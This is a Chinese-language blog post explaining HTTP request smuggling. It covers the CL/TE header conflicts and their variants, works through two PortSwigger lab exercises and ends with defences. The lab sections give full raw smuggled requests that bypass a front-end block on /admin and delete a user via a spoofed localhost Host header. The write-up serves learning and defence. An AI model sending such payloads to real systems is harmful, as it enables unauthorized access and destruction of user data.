HTTP request smuggling

文章最后更新时间为:2019年11月22日 00:56:52

0. 前言

在最近的渗透中,burp报了一个issue:

还是高危漏洞,但是一脸懵逼,菜的可以,于是打算研究一下这个漏洞。

1. 漏洞原理

要想明白这个漏洞,还是得从HTTP协议看起。

通常来说,一个HTTP请求可以用两种方式来指定HTTP消息体的长度。

  • Content-Length来直接指定数据包长度
  • Transfer-Encoding: chunked来指定此数据包属于分块传输

当单个请求同时使用这两种方法,它们就会发生相互冲突。HTTP规范指出如果Content-Length和Transfer-Encoding标头同时出现在一个请求中,则应忽略Content-Length标头。问题在于,不是所有的服务器都使用此种规范来接收请求。

设想有这么一种场景,一个公司的网络出口用一个nginx做反向代理服务器,接收到来自客户端的请求,从而将流量转发给内网中的相应的主机。

那么nginx反向代理服务器和内网中的主机在这个规范下不统一会怎么样?

比如上图所示,代理服务器以Content-Length为标准,将其划分为一个请求包,而后端源站服务器以Transfer-Encoding: chunked为标准,将其划分为两个请求包。在这种情况下就有可能造成严重后果。

代理服务器和后端服务器对请求包的结束判断方法不一致,就会导致HTTP request smuggling,它使攻击者可以绕过安全控制,未经授权访问敏感数据甚至直接危害其他应用程序用户。

2. 如何利用

由于漏洞取决于代理服务器和后端服务器对请求的处理方式,所以利用方式也将会有几种。

  • CL.CL: 请求头中加两个Content-Length, 代理服务器使用第一个Content-Length的值,而后端服务器使用第二个Content-Length的值。
  • CL.TE:代理服务器使用Content-Length标头,而后端服务器使用Transfer-Encoding标头。
  • TE.CL:代理服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头。
  • TE.TE:代理服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理,从某种意义上还是CL-TE或者TE-CL。

接下来以portswigger中的靶场为例来简单介绍一下利用方式。更多的例子请看:https://portswigger.net/web-security/request-smuggling/exploiting

2.1 CL.TE示例

/admin是后台管理,但是前端服务器阻止了对该面板的访问, 实验的最终目的是删除用户。

首先访问/admin,提示

我们构造请求包如下:

POST / HTTP/1.1
Host: ac8e1f711e5c3b1480027eaf005d00df.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Content-Length: 28先绕过了前端服务器,而后端服务器检测出Transfer-Encoding: chunked,到下面的0便结束,但后面还有GET /admin HTTP/1.1,后端服务器会认为这是下一个请求,所以如果我们继续请求,后端服务器便会解析这个请求,从而达到我们查看admin目录的目的。

多访问几次,成功访问了admin页面,但是提示需要以管理员身份访问或者在本地登录才可以访问/admin:

于是加个Host: localhost

成功访问admin页面,可以看出如果要删除某个用户,只需要访问/admin/delete?username=wiener即可:

2.2 TE-CL示例

这个题目和上面的类似,只不过前端代理服务器处理Transfer-Encoding: chunked这一请求头,而后端服务器处理Content-Length请求头。

我们构造请求如下:

POST / HTTP/1.1
Host: ac591fb41ec683fa8058122000ba00eb.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

3d
GET /admin/delete?username=wiener HTTP/1.1
Host: localhost

0

前端服务器根据Transfer-Encoding: chunked来处理,所以将其视为一个完成的请求,转发到后端,后端服务器根据Content-Length: 4,只读取到3d,剩下的GET /admin/delete?username=wiener HTTP/1.1就会被当成另一个请求。

(以上注意关闭burp的自动修正Content-Length功能)

3. 如何防御

  • 禁用后端连接的TCP重用.
  • 使用HTTP/2协议
  • 前端服务器和后端服务器使用相同的服务器
  • 前/后端服务器拒绝歧义请求。

refer

1 + 3 =
快来做第一个评论的人吧~